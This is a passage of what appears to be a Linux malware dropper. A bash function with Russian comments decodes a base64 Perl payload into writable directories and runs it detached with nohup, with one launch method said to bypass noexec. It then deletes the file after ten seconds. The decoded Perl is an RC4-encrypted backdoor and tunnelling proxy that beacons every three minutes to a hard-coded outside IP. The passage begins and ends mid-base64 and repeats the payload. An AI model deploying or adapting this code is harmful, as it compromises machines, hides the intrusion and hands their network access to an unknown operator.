JCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_c4ade93a() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODMnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJG